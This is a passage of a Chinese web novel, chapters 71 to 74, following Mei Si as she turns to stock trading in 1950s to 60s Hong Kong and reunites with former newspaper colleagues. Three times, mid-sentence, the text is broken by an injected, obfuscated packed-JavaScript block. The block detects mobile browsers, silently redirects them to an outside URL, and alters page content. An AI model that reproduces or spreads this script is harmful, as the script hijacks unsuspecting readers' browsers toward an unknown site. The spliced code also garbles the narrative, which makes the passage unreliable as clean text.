尹宗翰笑笑又说:“今天一个早上都在这里,报馆里不忙么?” 梅思叹一口气:“星都结业了。” 尹宗翰一愣:“原来如此。” 难怪梅思要添加股本,想来是失业之后一时间难找工作,便要靠这个来维持生活。 想了一想,尹宗翰道:“梅小姐,你买股票也有几年,有没有想过正式入行,当个经纪? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661215|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 单靠股息支撑家计,还是为难啊,这两年虽然香港股市非常好,说是与美国华尔街不相上下,然而要赚大钱,还是得投入很多的资本,梅小姐是住石硖尾的,能有多大的本钱?能弥补一下生活费也就可以了。 梅思心中一动:“不知道我能不能行。” 尹宗翰笑道:“如果你真有这样的想法,我和经理说一说,看他怎样讲。” 梅思很是热切地说:“拜托尹先生。” 尹宗翰一拍大腿:“我下午就去说。” 于是梅思便等他的消息,第二天,尹宗翰见到她,说老板正在考虑,之后便是继续考虑,一直考虑过了两周,都没有回音,尹宗翰见面也是脸色尴尬,支支吾吾,远远望到她便要躲闪,看那样子,只巴不得不遇见她才好。 十五号这一天,梅思实在忍耐不住,费了些力气,找到交易所的经理:“费经理,尹先生有和你讲,可否让我试一试经纪的职位?” 费裕翔看了看她:“哦,梅小姐,他提过的,我慎重考虑,觉得不是很合适,你并不是学金融经济的,虽然在本会已经做了几年交易,不过要作经纪还不是很妥当,我们是要为客户负责的。” 梅思登时泄气,然而还想最后争取:“我读过许多金融学的书……” 费裕翔脸上突然显出的笑容,让梅思感到自己很可笑,对方面上的神情分明就是:只读过一些书罢了,就以为自己真的懂金融?就有当经纪的资格了? 梅思方才鼓起的最后勇气瞬间消解,慌乱地道了一声“打扰”,转身仓皇离开办公室。 当天晚上,她回来住处,苏凤香见她垂头丧气,便关切地问:“股票赔钱了?” 梅思摇摇头,今天虽然没有大涨,但也还平稳。 苏凤香松了一口气,笑道:“那侬愁什么?” 梅思恹恹地说:“本来想在香港会当经纪,但人家说我不行。” 苏凤香一听,登时挑起眉毛,倒竖眼梢:“谁这么说?太小瞧人了,侬这两年都是赚钱的啊,靠股票就能买小菜!” 梅思有气无力:“我不是专门学经济的,也难怪人家不信任。” 在女大学了那么多课程,里面却没有股票这一门,政治经济学不教怎么买卖股票,那都是资本主义的投机行为,是该批判的。 苏凤香挺直脖子,“哼”了一声:“学校里出来的又怎样?就是那些读许多书的人,把世界搅乱得这样。阿拉可惜是没有本钱,要受人家这样的气,阿拉若是有一笔钱,也不须看人眼色,自己便能翻身。” 苏凤香这样讲着“我们”,她本来便禀性要强,不肯服弱,此时代入梅思设想,越说越觉得不能甘心,又混合着自己半世的不平,一股气从胸口直往上撞,最后一推梅思:“侬定要做出个样子给伊拉看看!” 梅思乱晃着头,无可无不可。 香港会的开盘时间有限,梅思虽然四处寻觅职业,但一时没有结果,于是她白天盯盘,下午散市,便去图书馆,礼拜天也去,还借了许多书回来读,都是经济金融类,一本一本厚重如同砖头,每天早晚坐在床头,埋头便啃书,归玉树拿过来的心电图也已经装订了,厚厚的一大本,梅思在背后空白面画了坐标线,每一只股票单独成一页,标出这一向的涨跌,于是那一面是心电图曲线,这一面是股票走势线,都是让人的心怦怦跳。 这样的日子一直持续到第二年,五九年六月里,阿春婆挨家拍门告知:“我家阿树要成亲了!” 苏凤香的精神立刻提了起来:“啊哟,是哪家姑娘?” 阿春婆乐得合不拢嘴:“便是林鹃啊!” 苏凤香拍手:“好婚事!好婚事!” 梅思正在灯下写字,闻言也应付了几句恭喜的话,等阿春婆走了,关好门,梅思望着还在乐呵呵的苏凤香:“林鹃与归生,真的合适么?” 苏凤香一撇嘴:“那么个大才子,伊同谁能合适?林鹃也是猪油蒙了心,找上这么一个。” 转头她望向梅思面前的稿纸:“写完了么?侬要抓紧,等伊拉办婚事,又要出份子钱。” 梅思笑道:“还差一个结尾。” 72.第七十二章 那么便我自己来 第七十二章 那么便我自己来 鄂林鹃与归玉树的婚事是在六月十四号,礼拜天。 参加婚礼的人都是喜气洋洋,最快乐的便是鄂林鹃,她抿着嘴,喜滋滋望着归玉树,这么遥远的梦啊,没想到终于成真,相识归玉树不久,自己心中就有了这个人,与一般的石硖尾人实在不一样,一眼就看得出的,当真是“玉树临风”,而且他那个样子,总让人感觉心疼,想要好好温暖他,虽然年纪比自己大,但林鹃总觉得要对他发生一种母爱的情怀。 林鹃满眼爱意望了归玉树一会儿,转头又看客人,多是徙置楼的邻居,此时都满脸笑意,说着“恭喜”,她的视线一扫,忽地落到一个人身上,心登时便是一沉,梅小姐啊,她也来了。 一直以来,自己担忧的就是她,梅小姐人是很好的,然而当两个女人在情场上相遇,关系便微妙起来,平心而论,梅小姐并不是要与自己争夺归玉树,可是林鹃清楚,自己的意中人,心心念念想的是梅小姐。 林鹃在心中比较两个人,她以为自己是比不过梅思的,对方简直样样都强于自己,梅小姐模样俊秀,待人和气,读书又多,职业体面,会赚钱,纵然是这一阵报馆倒了,她买股票,也能赚来吃饭的钱,认识的人又多,就连阿树写成的稿子,都是靠了她的介绍,才在小报上登出来,所以这楼里差不多人人欢喜她。 然而只可惜,年纪大了,之前拐弯抹角打听过,今年已经三十七岁,只这一条,阿树家中便不会答应。 一想到此,虽然晓得不该如此,林鹃少不得又是得意,又是惋惜,何曾想过会是这样的结果呢?父亲和玉树都是喜欢看《射雕》,自己便也同着看,与玉树也有话说,看着看着,便对秦南琴分外感怀,暗恋郭靖,只可惜自知比不过黄蓉,黄蓉是何等绝代的一个人呢,“晨露新聚,奇花初胎”,如同明珠美玉。 每次见到梅思,林鹃悄悄打量,梅小姐的年纪倘若再小十岁,大概便是那个样子,虽然不是异乎寻常的艳丽,但真的是很美的一个人,好像一树梅花,只可惜岁月无情,虚度了芳华,如今只得落寞孤单。 那边归英曼喜气洋洋地和人说:“有冰箱哦,买来的鱼啦肉啦,放在里面,这么热的天,大半天都不会坏……” 苏凤香紧挨着梅思坐,转头和旁边人说:“梅小姐头悬梁锥刺股,每天写字到半夜,报馆催得急……” 阚德龙笑道:“梅小姐辛苦,梅小姐发财。” 梅思连连摇着苏凤香的胳膊:“你可不要说了。” 让人家听了,老大不好意思的,又是这样场合,仿佛示威一样,自己这一向除了炒股,还做什么呢?为小报写小说。 虽然专心学习股票金融,不过梅思并不想孤注一掷,贾文庸自从关闭了星都,赶在元旦之前又进了一家小报,只是已经不是老板,是给人聘任的经理,他要征集稿子,便找过去的老同事,梅思是他向来看重的,自然要招呼到她,于是梅思便又算是重操旧业,只是这一次转为写小说,都是一些妖狐鬼怪,吓人的故事,贾文庸来稿便登,多少总有些稿酬。 要说梅思这一阵也真的忙,她是四处投稿,那些报馆,不管左翼右翼,还是中间派,只要是登小说的,她就写了去投,尤其是小报,要求不高,只要博眼球就好,都是同行的熟人,投过去更容易给印在纸上,她写字又是极快,去交易厅看盘,午间在外面休息,也能写满一张纸,一天便是一篇小说,纵然十篇之中只能发一两篇,奈何稿子多,总能有些收入,倘若居然约稿连载,更加喜出望外,梅思并没有指望能够成为有名气的作家,只要能维持基本的生活就好。 这一场热闹之后,过了三个月,九月十一号礼拜五,梅思清早匆匆去到街上,进入一家典当行,半个多钟头之后出来,紧紧护住皮包,转去廖创兴,从银行又出来,便赶往香港会,到了那里取出一沓钞票,便买股票。 到了下午散市,尹宗翰遥遥地招手:“梅小姐,你等一等。” 梅思停住脚步,尹宗翰快步赶过来,笑道:“梅小姐,这一阵股票怎样?” 梅思迈步又往外面走:“小小糊了几手。” 尹宗翰随同一起走:“你也叉麻雀么?” 梅思点点头:“偶尔会玩一下。” 尹宗翰叹道:“当真是人不可貌相。” 禅林隐士一般的梅小姐啊,哪想到竟然会打麻将? 然后尹宗翰道:“听说你今天大笔现金入市?” 梅思脚步略停:“你这样快便听到了?” 尹宗翰笑着说:“你晓得我们作经纪的,消息向来是很灵通的。” 午间的时候,经理费裕翔将自己叫过去:“你那一次举荐的那个人,梅小姐,深藏不露啊!” 尹宗翰便愕然:“经理,怎样说?” “好有钱!两千块的资本啊,就这么投下去了,眼都不眨一下。” 尹宗翰张大了嘴:“怎么会?!” 这样的资本,对于他而言,算不上巨款,毕竟他是资深经纪,经手的钱动辄上千,然而梅小姐能够拿出这样一笔钱来炒股票,就很让人吃惊了,住石硖尾啊,怎么会这样有钱?她若真有如此家底,早该换一间屋来住,石硖尾那个地方,只听名字就脑壳疼。 那边费裕翔还在喋喋说着:“我说尹生,你果真知晓她这样阔气,怎么不早同我说?上一次我便不会那样不客气,纵然不能请她来作经纪,起码多喝两杯茶,叙叙话,让她作我们的客户,佣金可以算她便宜一点,想来她手里还有钱。” 尹宗翰一脸僵硬:“经理,我并不晓得。” 费裕翔乱点着头:“嗯,我料想你也不至于,这样大的事瞒着我。你两个想来要好,快去同她说一说,要她把资金交给我们,我们是专业做金融,由我们来料理,稳妥得多。你拉来的客户,就由你做。” 自己想来是不行了,上一次拒绝得那样生硬,这位隐藏的金主大小姐不知怎样的不高兴,断然不肯由自己代理的。 于是尹宗翰下午散了市,便来找梅思:“经理说,前一回多有得罪,请梅小姐不要计较。如果梅小姐愿意,可以由我来代理交易。” 梅思笑一笑:“没什么的,我能理解经理。这一笔资金,我还是自己来操作。” 尹宗翰微笑点头:“那也是好的。” 之前已经料到这样的结果,纵然可以降低数目,毕竟也是要付酬金,梅小姐在这香港会已经浮沉几年,经验丰富,又很肯读书,这方面知识也有的,因此她既不像刚毕业的学生,只懂书本上的道理,也不是那些纯粹凭借经验的人,她是既懂金融,又亲自上手做过,所以她自己来掌管这笔钱,很是可以的。 两个人在交易厅门前道别,梅思离开香港会,在图书馆待了好一阵,晚间九点,穿过嘈杂的街道,终于回到徙置楼。 上到七楼,迎面撞见阿春婆,梅思笑着从提篮里取出一个纸袋:“林鹃这一阵胃口不好,这里有些乌饭子,拿给她尝尝鲜。” 阿春婆眉眼挤在了一起,笑道:“啊哟梅小姐,多谢你,对我家林鹃这样关照。” 梅思客气了两句,阿春婆看着袋子里那乌黑的浆果,眨了眨眼睛,忽然间有些伤感的样子,叹一口气:“梅小姐,想来你也知道,阿树喜欢你,然而我们不大愿意,男婚女嫁,女人年纪还是小一点的好,否则娶一个姐姐进门,她很快便老了,丈夫正青春年少,对着这样老婆可怎么过?我也知道你是很好的,只是这年岁……我不单是为了阿树,也是为你,这样子过不好的……” 梅思摆手笑笑:“这件事我本来并不在意的,阿春婆你也不要介意才好。” 阿春婆连连点头:“我也知道你是大度的。” 梅思转身回了自己房间,脑子里却仍然想着方才阿春婆的话,曾经在小说里读过的,说女人容易老,便会失去男子的爱,却忘了是哪一本书,不过女子的感叹,多不离这些话,便也无所谓了。 屋子里,苏凤香见梅思回来了,招呼了一句:“今天又是这样晚。” 然后看她篮子里:“好一条黑鱼,你今天心情好。” 肯买这样大一条鱼,看看差不多十斤了。 梅思笑着找出一只桶,将那一条大黑鱼放进里面,到水池那里去接水,出门前闲话着:“明天礼拜六,下午我早些回来,我们烧黑鱼来吃。” 梅思大笔资金入股市,转眼便是一九六二年五月里,五号礼拜六这一天,苏凤香傍晚从工厂回来,进门便闻到一股浓烈的香气,她便笑问:“梅小姐,烧什么鱼?” 宝庆拍着手抢先叫道:“梅姨发小财!” 梅思笑着说:“并没有。” 苏凤香便乐:“原来是泥鳅。” 梅思笑一笑,不再多说什么,只是将一大盘烧泥鳅放在桌面上,里面还有几颗虾丸。 自从当初两千元入股市,到如今将近三年时间,浮浮沉沉,有赔有赚,不过每次当自己带回泥鳅,倒多数又是小赚一笔,心情格外地好。 星都结业之后,梅思曾经也想再找一份工,赚稳定的月薪,可是迟迟没有合适的职业,况且长久以来的紧张奔波,也让她感觉疲倦,想到自己炒股票已经小有心得,便转了一个念头,索性便以股票交易为业。 虽然有这样的想法,然而自己的资本真的是不厚,虽然这几年陆续添加股本,但不过是五六百块,股息微薄,如果真的要靠炒股来生活,势必要追加本金,她想来想去,终于取出母亲留给自己的一件首饰,是一枚赤金镯子,沉甸甸,上面镶着钻石,到典当行去,抵押了三千块钱,其实这笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680365|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱远不足以买下这一枚手镯,只是如今也别无办法。 梅思将两千块钱投入股市,余下一千块存入银行,下定决心不能动用这一笔后备金,之后在香港会,虽然有时赔了钱,她也咬定牙关,宁可自己省吃俭用,存下一点钱来再加股本,也没有碰那一千块钱。 到如今梅思进入股票交易已经将近十年,虽然说不上游刃有余,不过已经初窥门径,尤其这三年,生活费用多是从股市赚来,但凡有一点结余,她便又投入交易之中,现在本金已经超过了三千,就这样慢慢积累,只要不出意外,资本日益增加,自己的生活想来会轻松些。 招娣与来娣在外间厨房一齐动手,又炒了两个青菜,梅思凉调了一盘黄瓜,又打了蛋汤,晚餐便齐备了,苏凤香一看桌面上:“真隆重啊!” 梅思笑道:“上海的烧法,浓油赤酱,你尝一尝。” 在这徙置楼中,天南地北各路同胞,自己如今的烹调也是综合百家,同苏凤香学了一手上海料理,上海的红烧菜是一绝,红烧蹄膀,红烧猪肉,然而梅思这里都没有,她最喜欢拿回来的便是鱼虾,多是小杂鱼,小虾米,有的时候也有泥鳅鳝鱼,小鱼小虾都裹了面糊炸来吃,倘若是泥鳅或者黄鳝,便用上海的烧法,重重地加酱油和糖。 阿春婆看到了,有时便要哀叹:“这么鲜的黄鳝,怎么偏偏不肯蒸来吃?糟蹋了好黄鳝啊!” 梅思便咯咯地乐,广东人吃鱼,很喜欢清蒸的。 苏凤香夹了一条泥鳅,放进宝庆碗里,脸向着梅思说:“梅小姐,你不要再想着找职业,我看你目今就很好,在交易厅上工,那也是个差事,况且又不是很累,早上晚晚地出去,晚间早早地回来,只要不去图书馆,日子悠悠闲闲,你在那里动动脑筋,比我们起早摸黑,手脚都用上还赚得多,真要是再找一份工,哪来得这样自在?” 还能够照应晚饭,梅思倘若不泡在图书馆,交易行散了市,便早早回来,自己回来便有现成饭吃,哪怕只是一碗葱油面,也比自己开火另做要强,那简直是挣命。 梅思笑道:“你道是股票好赚,我去年也是捏了一把汗,今年总算是没那么担惊受怕。” 六一年的六月,坊间谣传廖创兴不行了,市民全去提款,自己听到消息也是吃惊不小,便问尹宗翰。 尹宗翰对自己讲:“其实没事的,虽然有些困难,但不至于倒闭,你看警局都出面辟谣,只是这一挤提,便让人头痛。” 梅思想一想,追问道:“倘若大家依然是不信,全要提款,可怎样办?” 尹宗翰笑道:“可以找同行拆借么,汇丰渣打,香港许多大银行。梅小姐,一般的小市民不懂得银行的事情,但你涉入金融,不要慌。” 听她提起去年的事,苏凤香也心有余悸:“真吓人,我特意向工头请了假,去提款,鞋子都挤掉了。” 那一回梅思回来家中,便安定人心:“不必担忧,没有那样严重。” 然而苏凤香没有那样笃定,第二天忙忙地去取出存款,廖创兴门前人山人海啊,好不容易才挤进去,取了款子出来,满身大汗,一股酸臭味,回来收好钱,赶快便要打水擦身,一边擦洗还一边说:“早知道就不该贪那一点利息,该把钱存到大银行去,或者就收在家里也是好的。” 大银行未必看得上自己这点钱,况且利息也没有这样高,石硖尾许多人倘若有一点钱,都是存进廖创兴,小小一笔钱便可以开户,而且利息高,存在那里,就是为了赚这一笔利息。 梅思点了点头:“金融市场便如同战场一般。” 瞬息万变,风险极大,廖创兴挤提,虽然是银行界的事,但对股市难免有影响,一时间股价降低,但好在不久便又恢复了上涨,梅思固然是担忧自己银行中的存款,另一头却也挂念股市,倘若冲击了股价,就影响到自己的生活,所以那一阵她加紧写小说,竭力多赚一点稿费,甚至想到假如股市真的重挫,便去街边给人代写书信。 好在不久之后,市场恢复平稳,梅思这才松了一口气,之前真是捏着一把汗啊。 梅思牙齿间撕下细细一条泥鳅肉,对面招娣抬起头,冲着她妈妈说:“妈,我想考美术学校,Ms 邵说,我画得很好。” 邵小姐是中学的美术教师,美术课上,对招娣很是留意,称赞她的技法好,鼓励她继续深造。 苏凤香登时便一皱眉,想都不想便道:“你少要做梦,让你读到今天,已经不容易了,你看看来娣,去年就已经进厂了,你弟弟也要读书,所以你不要想去学什么美术,再过两个月毕业,就赶快找个差事做,我养你这么多年,很对得住你,都十九岁了呢!” 招娣垂下头来,梅思从侧面看到她已经眼泪汪汪,便赶快夹了一个虾丸给她:“这些事不着急的,慢慢再说。” 73.第七十三章 人民公社啊,起码食堂立意好 第七十三章 人民公社啊,起码食堂立意好 第二天礼拜天,梅思照旧去图书馆,到了那里,看了一阵书,梅思便收拾东西,去洗手间。 早上出门的时候,凤香对自己说:“何必这样辛苦?礼拜天也要看书,又不是要考试呢。” 自己当时笑笑说:“习惯了。” 当然是要来啊,相比徙置楼的拥挤,这里可是开阔得多了,很可以透一口气,更何况洗手间是可以关门的,自己每次去洗手间,总要十几二十分钟,甚至半个钟头,一天的小菜都是在这里备办,自从找到这样一个福地,荒芜已久的菜圃便又打理起来,也要看一看麻鸭和山羊,虽然只是很短暂的时间,但也可以做许多事,节约了菜金。 苏凤香劝自己不必再去做工,梅思自己也是这样的愿望,之前的日子一直非常紧张,少有自己的时间,星都关门,对自己诚然是一个打击,但却也是一个转机,从此走上另一条路。 股票交易不像苏凤香想得那样容易赚,轻松自在,不过在付出许多代价之后,梅思已经掌握了一些方法,是一个学会游泳的人,而且这几年,香港的股市相当好,尤其是对股票有一定了解的人,可以赚得很稳,虽然未来不敢保会怎样,但起码短时期内应该不会有太大动荡,梅思是很希望能继续当前的生活,交易行每天开市的时间,比公司工厂的上班时间少许多,只是风险大,但自己如今已经适应,最看重的一点便是,不用那样匆匆忙忙赶钟点。 二十分钟之后,梅思从洗手间里出来,重又回到阅读室,拿了一份报纸来看,是当天的报纸,方才给人拿去了,现在终于轮到自己看。 只是梅思一看上面的头版,便皱起眉头,《大陆饥荒蔓延,中共政权危急》,昨天又有几百人偷渡来香港。 这一天晚上,梅思回到房中,来娣见了她,递过来一封信:“梅姨,有人送信给你。” 梅思接过来拆开看,是一封短笺:“星都老友邀约,明日晚七时嘉豪酒楼聚会,盼来相见。贾文庸 5月6号。” 是星都的旧同事,分别几年了,再次重聚,大概都别有一番心情。 梅思看过了,便顺手将纸条夹在一本书里。 来娣见她一时无事,便凑过来悄悄地说:“梅姨,姐姐在天台上哭。” 梅思心中一沉:“我去看看。” 她快步上了天台,手电筒一照,果然看到招娣伏在水泥短墙上,双肩正一耸一耸。 梅思走过去,拍了拍她的肩膀:“招娣。” 招娣将脸转向另一边,不让她看见。 梅思望着她黑黑的后脑,说道:“你妈妈也是没有办法,她的经济条件,难以再支持了。” 招娣哽咽道:“我也知道的,只是我不甘心,而且也害怕,我怕像我妈那样过一辈子。” 梅思默默思量片刻:“时代已经不同了,现在的女子,会有更多机会。其实你现在出去做事,也并不是就不能继续学业,可以去读夜校。” 第二天五月七号,梅思准时来到了嘉豪酒楼,说是酒楼,其实门面不很大,梅思进入大堂,四处张望,不多时便听到有人大声招呼:“梅小姐,在这里!” 梅思转头一看,贾文庸站在那里,笑呵呵挥舞着手臂,四年不见,明显发胖,此时笑容可掬,好像个大阿福。 梅思望着那边笑,快步走了过去,已经有四五个人先到了,视线一扫,多是旧识,童岳、方燕茹已经坐在那里,另外还有一个不认识的男子,四十几岁年纪,中等身材,圆圆的脸,眼睛细长,鼻子有些扁平,戴一副眼镜,那眼镜看起来很容易往下滑。 梅思笑着和大家打过了招呼,目光转向那个陌生男人,不等她问,贾文庸便赶快介绍:“来来来大家认识一下,这是我的好朋友,曹蔚然曹生,《商报》的编辑,这几年多得他的帮忙。” 梅思的目光立刻凝聚起来,把曹蔚然又重新打量一遍,笑道:“原来是《商报》的曹先生,对贵报向来是很仰慕的。” 与星都不在一个层级上,《商报》可是香港的大报,自己这么多年都很是爱看,因为彼此有着类似的气息,自从以股票为职业,更是每期必看,重要的内容都要摘录下来,没想到今天竟然能见到《商报》的编辑,实在幸运。 梅思笑着又说:“我还给《商报》投过小说。” 是副刊,有文艺版块,金庸先生两部武侠,便都是在那里连载。 曹蔚然含笑道:“有发出来么?” 梅思摇头:“没有。” 贾文庸忙道:“梅小姐很有才华的,其她几位也都是才女才子,我们星都,人才济济。” 只可惜命运不济,倒闭了。 大家闲谈起来,又过了十几分钟,其她三两个人也到了,贾文庸便招呼上菜,几个人边吃边谈,几年不见,格外热切: “方小姐,听说你去了船务公司?” 方燕茹点头:“太平船务。” “饭碗稳定。” “吃不饱饿不死罢了,很是无聊,不像当年星都那样有趣。” “报业不好做,倒是像你这样转行,做事务员,还稳妥些。”梅思宽慰道。 江振波笑道:“梅小姐,听说你也是半转行了,如今在香港会发财?” 梅思摇头:“不过是赚一点茶饭钱罢了。” 贾文庸忙向曹蔚然说:“梅小姐炒股票那是相当经心,当年在星都,就看《商报》。” 在星都的办公间,看别人家的报纸,不过自己也不和她计较,毕竟星都没有财经版,看这些莺莺燕燕花花草草,也看不出股票行情。 曹蔚然果然注目:“梅小姐做股票多久了?” 梅思笑道:“差不多十年了。” “如今是以股票为职业么?” “也算是吧,只是赚得不多。” 自己的资本,到现在三千一百多块,按百分之十的年利,一年能赚三百多,其实并不高,苏凤香在工厂做工,一个月能赚一百块,自己在香港会,只赚到她三个月的薪水,好在只要应付自己这一张嘴便罢了,空闲时写写稿子,假如没有意外情况,能够应付日常所需。 曹蔚然细细听着,等梅思说完了,他便道:“你本金不很高,能有这样的成绩,已经很是了不起。” 确实令人惊异,自己虽然是在商报做事,整天看的是土产、西药、肥田粉的行情,却也没有想要去买股票。 “梅小姐对于股票,有什么样的心得?” 梅思想了一想:“不要投机,不要慌。” “此话怎讲?” “股票市场虽然有一点好像赌场,但并不纯是运气……” 其她人各自交谈,贾文庸则是侧耳听着她们两个谈金融,不多时侍应送上一盘清蒸石斑,贾文庸便抄起筷子招呼道:“先吃饭,等下再谈你们的股票经!” 曹蔚然呵呵笑着,筷子也伸向了石斑鱼。 夜晚到了这时,人都已经饿了,于是一时便不说话,埋头纷纷吃菜,梅思叫了一碗米饭,她吃菜是必得配饭,一餐宴席吃到一半,肚内已经有了一点底,便又开始谈话,梅思一颗头左转右转,与老同事谈得热络,另外还要应酬新知,曹蔚然对股票很感兴趣,两个人说着金融界风云变幻,外间的变化对股市影响很大,由去年的廖创兴挤提谈到金融监管。 曹蔚然深有同感:“诚然是市民不懂金融,一点谣言便容易惊慌,不过空穴不来风,廖创兴大笔投资房地产,想要赚这样滚烫的钱,香港的地产虽然可以获得暴利,但风险也极高,廖创兴把四分之三的资金都投入到房地产,根基已经不稳,果然今年地产跌价,也难怪大众听风就是雨。” 贾文庸乐道:“梅小姐当真稳坐钓鱼台,没有赶在那时去提款,廖生很该感激你。” 廖创兴的当家人,为了挤提大受刺激,爆血管死掉了,倘若他当时肯看一看梅思,或许还能得到一点安慰。 梅思笑道:“我当时也很紧张呢。” 于是便聊房市地产,又说香港的工商,香港这几年社会平稳,工商发展很快,股票市场才可以稳步盈利。 说到这里,蔡静怡插话道:“大陆那边的难民这一阵又多起来,会不会影响香港的经济?” 大家便开始担忧大陆的难民,一是担心大陆的民生,二也是怕冲击香港。 曹蔚然想了想,道:“大陆这几年,自然灾害。” 童岳道:“仿佛听说,是有些急进了。” 几个人便讨论大陆的经济,都晓得的,□□,超英赶美,一时间多有批评: “怎么可能呢?英美是多少年的资本主义,大陆短短几年想要追上她们,太过操切。” “急功近利啊。” “虽然是天灾,中间也有人为。” 曹蔚然的面色便有些难看。 梅思手撑着腮,幽幽地说:“我倒是觉得,起码食堂的主意是好的。” 人民公社办食堂,梅思想到了从前在延安的机关食堂,三餐只要去到食堂,就可以吃了,当时感触并不深,到后来从革命者回归为小市民,才感到吃饭不易,这并不是指的赚钱问题,而是单纯吃饭这件事本身,就很需要花费精力。 每天清早就要出门去上班,晚上七八点才回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694276|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还要烧饭实在吃力,梅思晓得自己,料理家事不是顶厉害,不过即使是苏凤香那样,全挂子的武艺,烹饪饭食有许多窍门,炸出一罐葱油,连续几天可以吃葱油面,烧开了水把面煮熟,沥水控干再加葱油拌匀,就可以吃了,又或者是炒饭,米饭烧出一大锅,一餐吃不完,第二天清早将剩饭下锅,加蛋煸炒,便又是一餐饭,终究花时间。 晚上回来精疲力尽自不必说,拖着沉重的身体烧晚饭,总觉得有些心酸,即使是早上,睡过一夜补充了体力,仿佛是有力气,可是时间宝贵,一个清早如同打仗,每天只为烹调三餐,便焦头烂额,耗去大量的时间,这还只是照管自己一个人的饭食,倘若是一家五六七八口,只要想一想便心力交瘁。 所以这些年,虽然从梅林中获取极少,梅思并不觉得怎样遗憾,即使不是住在这拥挤的地方,有自己独处的空间,也少有时间在梅林之中徜徉,这就是职业女性的生活。 梅思叹道:“当年谢冰莹漂泊在上海,尚且在外面包饭,有人每天送饭过来。” 谢冰莹写《从军日记》,临近过年,感慨无限,除了羡慕房东鸡鸭鱼肉,送饭的工友在初一也不来了,除夕也送,初二也送,只是初一不送,便愈发触景伤怀,热闹都是别人的,她却要饿肚子。 自己初来香港,除夕夜独自一人缩在床上,抱膝浩叹,想到这一节,也是感怀,只是此时才想到,谢冰莹那种境遇之下,也依然是在外包饭,大约她租住的地方狭小,纵要烧饭也不方便,不过能包饭毕竟省了许多麻烦。 梅思对食堂的感想,引发了其她人的同感,方燕茹连声赞同:“是啊是啊,一日三餐烦死人了!” 蔡静怡道:“倘若能有一个食堂,我也每天去吃,再不烧饭了,一家人都在那里吃。” 童岳笑道:“食堂解放了女同胞。” 江振波道:“我看到食肆有包伙食的。” 曹蔚然望着梅思:“梅小姐读过《从军日记》?” 没想到这样一个满口金元股票,仿佛给“资本主义”的福尔马林浸透的人,居然读过那样一本轰轰烈烈革命的书,而且读得这样细致,感慨如此深刻。 梅思笑容略苦:“都是从前的事了。” 前尘往事啊,不堪回首。 曹蔚然连连点头:“虽然选择的道路不同,不过谢女士堪称妇女革命的先锋。” 谢冰莹啊,国民党。 曹蔚然转而道:“要说解放妇女,还是中共的政策最为得力,‘妇女能顶半边天’,可是有无知的人却要诽谤,借着妇女话题大做文章,张爱玲自来香港,为五斗米折腰,便开始□□,她的《秧歌》,里面写村干部殴打要离婚的妇女,这是分明抹黑,中共在建国之初,便发布了婚姻法,男女平等,这是几千年来没有过的,彻底平等!” 他瞳仁亮晶晶地望向梅思。 梅思脑中搜索了一下,记起了那短短几句话,大段文章之中一不留神便溜过去了,她点了点头:“婚姻法很让人激动,不过单靠一部法律,许多事还是办不到,当年在延安,法院门前虐待妇女都不能管。” 宝塔山下法院门口一家老百姓,丈夫和公公打骂虐待媳妇,那年轻的女子欲告无门。 当时见到这件事,自己大吃一惊,问教yuan:“怎么会这样?” 教yuan也仿佛很为难,沉吟一下,回答道:“这是一个过程,等全国革命胜利了,妇女也自然全都解放。” 那时的自己虽还有些疑惑,但想到对教yuan的话是不应该怀疑的,教yuan是那样深厚的学问理论,为革命奋斗多年,懂得许多的事情,自己只是一个刚刚离开腐朽家庭的学生,多么单纯稚嫩,应该相信教yuan,更何况,如果要去怀疑,也实在很无力。 曹蔚然登时皱起眉头:“梅小姐,不该捕风捉影……” 梅思道:“是我亲眼见到的。” 曹蔚然讶然:“你怎么会?” 梅思:“我曾经去过延安。” 曹蔚然还要再努力:“浮光掠影往往只是表面……” 梅思眼皮抬起,目光定住:“我在延安待了三年,我是女子大学的学生。” 话音落下,整个席面惊呆,几颗头“刷”地转过来,齐齐地都望向梅思。 贾文庸更加诧异,两只眼睛瞪得圆溜溜,目不转睛:万万没想到啊,“同行十二年,不知木兰是女郎”,我们共事六载,不晓得你去过延安,而且一住就是三年,梅小姐,你还有什么事情是我们不知道的? 片刻之后他赶忙活跃气氛:“啊哈哈哈梅小姐原来曾经在延安的,女中豪杰!” 74.第七十四章 谢谢,不需要英雄助美 第七十四章 谢谢,不需要英雄助美 这一次饭局之后,曹蔚然与梅思很快熟悉起来,梅思工作日每日必去香港会,曹蔚然为了《商报》的商业资讯,时不时也会过那里,两个人见到了,便坐在一处说话。 这一天午间,曹蔚然端了一盘咖喱饭,与梅思一起坐在香港会门前的台阶上吃饭。 